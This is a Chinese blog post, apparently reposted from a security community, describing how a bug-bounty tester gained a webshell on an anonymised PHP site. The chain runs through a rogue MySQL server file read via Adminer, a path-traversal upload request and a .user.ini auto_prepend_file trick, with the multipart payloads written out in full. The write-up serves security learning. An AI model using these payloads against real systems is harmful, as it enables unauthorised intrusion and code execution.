不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

记一次webshell的获取

像往常一样闲来无事挖src,打开http://t.xxx.com.cn
开局就是一个登陆页面在登陆页面测试无果,随手输入http://t.test.xxx.com.cn
发现是403页面。

想起http://t.xxx.com.cn 是一个php的网站
遂尝试对http://t.test.xxx.com.cn 进行目录爆破,扫到如下php文件(其他目录没扫到什么文件就不列了)

http://t.test.xxx.com.cn/m.php
http://t.test.xxx.com.cn/ua.php
https://t.test.xxx.com.cn/receiver.php
https://t.test.xxx.com.cn/abc/config.php
https://t.test.xxx.com.cn/abc/index.php

发现m.php是一个adminer如下


看到这个页面尝试弱口令登陆无果,想起了前段时间做的MySQL服务端读取客户端的漏洞
poc: https://github.com/allyshka/Rogue-MySql-Server

在服务端监听后,使用adminer连接服务端
起初读/etc/passwd ,报错显示为opendir的关系,于是读取web文件,

图片
于是读取 /data01/htdocs/m.php文件成功读取
由于已经发现有config.php,于是读取config.php 发现mysql配置文件,得到mysql账号名和密码
define(‘DB_USRE’, ‘abc’);
define(‘DB_PWD’, ‘xxxxxxxxxxxxx’); 总之很长一串
登录后发现,就一个test表,权限非常低。遂放弃通过mysql获取webshell转而去分析其他文件。
分析到receiver.php的时候发现为一个文件上传的接口文件,代码如下:

图片

经过分析代码后发现上传文件存在黑名单过滤,服务器为nginx服务器
存在file、token、to参数
如果to和token都存在的话 会上传文件到/oss/public/目录下
但是可以通过拼接to参数形式把路径重定向到web目录下
构造如下表单

------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/1.shtml
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream


123
-----------------------------57052814523281--

------------

成功上传html,但是又陷入了困境。
由于php被过滤,尝试php3 php5都不解析,猜测nginx只解析php文件,尝试nginx解析漏洞也无果。
这时想到p牛曾经提到的.user.ini后门,利用.user.ini造成文件包含的效果最近ctf也有出现。
https://xz.aliyun.com/t/6091
于是构造

------------

-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/abc/.user.ini
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream


auto_prepend_file=1.jpg
-----------------------------57052814523281--

------------

再上传jpg文件

------------

-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/abc/1.jpg
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php
xxxxx
?>
-----------------------------57052814523281--

------------

然后访问https://t.test.xxx.com.cn/abc/config.php
成功获取webshell

由于是src,没有进行进一步的提权及内网渗透。

转载:先知社区

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 记一次webshell的获取

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏